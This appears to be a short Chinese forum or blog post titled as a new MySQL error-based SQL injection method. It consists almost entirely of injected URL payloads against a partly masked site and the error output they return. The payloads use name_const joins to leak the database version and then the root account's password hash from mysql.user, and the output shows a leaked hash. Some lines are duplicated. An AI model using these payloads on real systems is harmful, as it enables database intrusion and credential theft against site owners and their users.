Mysql显错注入新方法
http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const(@@version,0))a+join+(select+name_const(@@version,0))b)c)
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))a+join+(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
Error:Duplicate column name ‘5.0.27-community-nt’Error:Duplicate column name ‘5.0.27-community-nt’
http://xxx.cn/qcwh/content/detail.php?id=330&sid=19&cid=261+and+exists(select*from+(select*from(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))a+join+(select+name_const((select+concat(user,password)+from+mysql.user+limit+0,1),0))b)c)
Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error:Duplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
